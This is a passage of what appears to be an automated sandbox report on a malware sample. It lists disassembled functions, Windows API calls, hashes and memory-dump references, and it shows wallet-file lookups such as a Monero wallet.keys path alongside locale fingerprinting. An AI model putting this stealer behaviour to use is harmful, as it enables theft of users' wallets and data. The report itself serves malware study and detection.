Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;y]^$;y]^$Io"!$ULSo$a;^$rJS7$rw/p$w1
API String ID: 0-2864300429
Opcode ID: 40b46525e8d6b2528abef7a04fca1107af7ff1cc58075cd17eb963b154917065
Instruction ID: 4d64db3493ca99904cc784aeba733c6b82de4876322cdc9cb787522feb38c193
Opcode Fuzzy Hash: 40b46525e8d6b2528abef7a04fca1107af7ff1cc58075cd17eb963b154917065
Instruction Fuzzy Hash: C7A218F360C2049FE3046E2DEC8567ABBE9EFD4720F1A863DE6C4C7744E63598418696

Function 006E7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

GetKeyboardLayoutList.USER32(00000000,00000000,006F05AF), ref: 006E7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 006E7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 006E7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006E7C62
LocalFree.KERNEL32(00000000), ref: 006E7D22

Strings

/ , xrefs: 006E7C7F

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8b46304502c5eee6c4d0daa3457a49686c354f976986e1fbd839f89039337e4d
Instruction ID: 4bc7b2597e36ed32788fedf04b5117e420e0f56c6b704709cfbf76a71eaaa065
Opcode Fuzzy Hash: 8b46304502c5eee6c4d0daa3457a49686c354f976986e1fbd839f89039337e4d
Instruction Fuzzy Hash: A4417E71912258ABDB64DB95DC89BEEB37AFF44700F2041D9E00962291DB342F86CFA5

Function 00A9BD9F Relevance: 10.4, Strings: 7, Instructions: 1688COMMON

Download Yara Rule

Strings

'+{w, xrefs: 00A9CD26
wE|], xrefs: 00A9BE37
O'[, xrefs: 00A9C272
S0{}, xrefs: 00A9CE43
22zq, xrefs: 00A9C5B9
3^w, xrefs: 00A9C7A2
}sz, xrefs: 00A9C97A

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '+{w$22zq$3^w$O'[$S0{}$wE|]$}sz
API String ID: 0-557880407
Opcode ID: c89c4b8ce9725dca8c58bf760fcdf833f674af30e0802e9d2c4f06384939c868
Instruction ID: 25bd668a4fbae3be01f16d895381efa8560df5d4e5753c6c47a67e36467cb006
Opcode Fuzzy Hash: c89c4b8ce9725dca8c58bf760fcdf833f674af30e0802e9d2c4f06384939c868
Instruction Fuzzy Hash: C8B207F360C604AFE3046E2DEC8567AFBE9EF94720F16862DE6C4C7744EA3558018696

Function 00A96CCC Relevance: 10.4, Strings: 7, Instructions: 1671COMMON

Download Yara Rule

Strings

>$ds, xrefs: 00A97886
Ay?, xrefs: 00A97EE7
2m?., xrefs: 00A97AC6
@hon, xrefs: 00A9751C
Z6t, xrefs: 00A97D6E, 00A97D72
Zs~, xrefs: 00A97EEC
};}/, xrefs: 00A98039

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Ay?$2m?.$>$ds$@hon$Z6t$Zs~$};}/
API String ID: 0-954932429
Opcode ID: d92166e6cebd5946b1aad8c8a6babf03f801ea4674d1a2d2590de7ebee9bd769
Instruction ID: 8bf615163b49dfea4caa87b3b48816f8e3c8a4f82c7f705a1fe075ab482c7947
Opcode Fuzzy Hash: d92166e6cebd5946b1aad8c8a6babf03f801ea4674d1a2d2590de7ebee9bd769
Instruction Fuzzy Hash: A9B25BF3A0C2149FE3046F2DEC8567ABBE9EF94720F1A463DEAC4D3744E67558018692

Function 00AA9418 Relevance: 10.4, Strings: 7, Instructions: 1616COMMON

Download Yara Rule

Strings

L}m, xrefs: 00AA95F0
$"o~, xrefs: 00AA9A99
R0e, xrefs: 00AAA429
}>, xrefs: 00AA9A3D
bIv, xrefs: 00AA9724
|m{, xrefs: 00AA9506
xK^, xrefs: 00AA9C50

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: L}m$$"o~$R0e$bIv$xK^$|m{$}>
API String ID: 0-3829165952
Opcode ID: f245424869320f09b7433bd2bc485cae9c1d3093945b0439c1eede87a647e21e
Instruction ID: 0e29ab269704beb8fcb60508657b29a7ce3cd14b598a0145f176ecbd907c7cc2
Opcode Fuzzy Hash: f245424869320f09b7433bd2bc485cae9c1d3093945b0439c1eede87a647e21e
Instruction Fuzzy Hash: FCB217F3A0C200AFE7046E2DEC8567ABBE9EF94720F16453DEAC5C7744EA3558018796

Function 006DE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,006F0D73), ref: 006DE4A2
StrCmpCA.SHLWAPI(?,006F14F8), ref: 006DE4F2
StrCmpCA.SHLWAPI(?,006F14FC), ref: 006DE508
FindNextFileA.KERNEL32(000000FF,?), ref: 006DEBDF

Strings

\*.*, xrefs: 006DE44D

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 998788ffc3b0c9f690404d72760973f94a5983a8be4e2eda95689dea9865b8f3
Instruction ID: cf1cd00ff4b2a5c0270944047a27d8d67d9d36d1fea96c5195ab4578816002de
Opcode Fuzzy Hash: 998788ffc3b0c9f690404d72760973f94a5983a8be4e2eda95689dea9865b8f3
Instruction Fuzzy Hash: 0712B3719122489ADB54FBA1DC96EEE733BAF44300F4141ADB10A96092EF307F49CF96

Function 00A9DA81 Relevance: 9.2, Strings: 6, Instructions: 1655COMMON

Download Yara Rule

Strings

@.?c, xrefs: 00A9DA87
ck:, xrefs: 00A9E9C4
?Ws_, xrefs: 00A9DBB3
0ab+, xrefs: 00A9DD32
97}s, xrefs: 00A9E516
^.5, xrefs: 00A9DDB6

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0ab+$97}s$?Ws_$@.?c$^.5$ck:
API String ID: 0-3215478088
Opcode ID: e8d11afe97f84c2ec42af0a1c8c11b21b731dea9ac1f51e13d76caead2ffccb4
Instruction ID: 26abf7e3b30739c1048a9b667b7cfede8efa60e1a5bd3b50177609c651430b61
Opcode Fuzzy Hash: e8d11afe97f84c2ec42af0a1c8c11b21b731dea9ac1f51e13d76caead2ffccb4
Instruction Fuzzy Hash: DCB22AF3A0C2049FE3046E2DEC8567ABBE9EF94720F1A453DEAC5D3740EA7558048696

Function 00AAC9E2 Relevance: 9.1, Strings: 6, Instructions: 1610COMMON

Download Yara Rule

Strings

}W5, xrefs: 00AAD77F
s*9;, xrefs: 00AAD488
z{u, xrefs: 00AADBB4
L=_{, xrefs: 00AAD8AE
Hz>, xrefs: 00AAD3DA
$LV~, xrefs: 00AAD670

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $LV~$Hz>$L=_{$s*9;$z{u$}W5
API String ID: 0-745962142
Opcode ID: ca7806d35819a908c372554138e4ef6b1bd20a7bc5e75f39aa7b79718c353317
Instruction ID: 79f429bb42d08f32f4e3d7bbb146bf3ed9c00b4569a5ba7489c8916c40b82123
Opcode Fuzzy Hash: ca7806d35819a908c372554138e4ef6b1bd20a7bc5e75f39aa7b79718c353317
Instruction Fuzzy Hash: 78B218F3A0C2049FD7046E6DEC8566AFBE9EF94720F16893DEAC4C3344E63598058697

Function 00AA29A0 Relevance: 9.1, Strings: 6, Instructions: 1581COMMON

Download Yara Rule

Strings

JuVa, xrefs: 00AA3693
cuiO, xrefs: 00AA3778
F9u*, xrefs: 00AA38C9
#q}, xrefs: 00AA3498
"o, xrefs: 00AA2CAA
1q;c, xrefs: 00AA3970

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "o$#q}$1q;c$F9u*$JuVa$cuiO
API String ID: 0-3120144723
Opcode ID: ebafd384a30a03b06d519a133778ebd0683ebf4285e4dd93cfe210d30ed46cc0
Instruction ID: 5edf0e6d90d7b0931197180dfec18bce27af086ad9d50d7d308018076306fc86
Opcode Fuzzy Hash: ebafd384a30a03b06d519a133778ebd0683ebf4285e4dd93cfe210d30ed46cc0
Instruction Fuzzy Hash: 8CB2F7F3A0C2049FE304AE2DEC8567ABBE9EF94320F16493DE6C4C7744EA7558418796

Function 006D9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nm,00000000,00000000), ref: 006D9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,006D4EEE,00000000,?), ref: 006D9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nm,00000000,00000000), ref: 006D9B2A
LocalFree.KERNEL32(?,?,?,?,006D4EEE,00000000,?), ref: 006D9B3F

Strings

Nm, xrefs: 006D9AD4, 006D9AE1, 006D9AF9, 006D9B18, 006D9AE4, 006D9B1B

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Nm
API String ID: 4291131564-3116952562
Opcode ID: f99107f948422b7d0bc6627bff33d2e1af9cd6ff78529e81a4d13687fa7f010c
Instruction ID: b09af947e209eed76eb475464ceec311492c4fa10a5632517651e5ef23aab672
Opcode Fuzzy Hash: f99107f948422b7d0bc6627bff33d2e1af9cd6ff78529e81a4d13687fa7f010c
Instruction Fuzzy Hash: 2311D2B4741208AFEB00CF64CC95FAA77B5FB89704F208089F9159B390C7B2AD01DBA0

Function 00AA4445 Relevance: 7.8, Strings: 5, Instructions: 1562COMMON

Download Yara Rule

Strings

Qsy, xrefs: 00AA51CF
RK$, xrefs: 00AA50E3
E#o, xrefs: 00AA4853
ow, xrefs: 00AA45D2
2"+s, xrefs: 00AA4BCD

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2"+s$E#o$Qsy$RK$$ow
API String ID: 0-211963892
Opcode ID: a34e90904763a471caeaca77998389a024f5d78db0d8353f4b3a243416dcba40
Instruction ID: a88803bc89d8fd48dd161b64087bb2dbb54f4f0b1f858aa9a875bae110d59a17
Opcode Fuzzy Hash: a34e90904763a471caeaca77998389a024f5d78db0d8353f4b3a243416dcba40
Instruction Fuzzy Hash: 5BB225F36082009FE3046E2DDC8567AF7E5EF94720F1A4A3DEAC4C7744EA3598058697

Function 006DC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 006DC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 006DC87C
lstrcat.KERNEL32(?,006F0B46), ref: 006DC943
lstrcat.KERNEL32(?,006F0B47), ref: 006DC957
lstrcat.KERNEL32(?,006F0B4E), ref: 006DC978

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
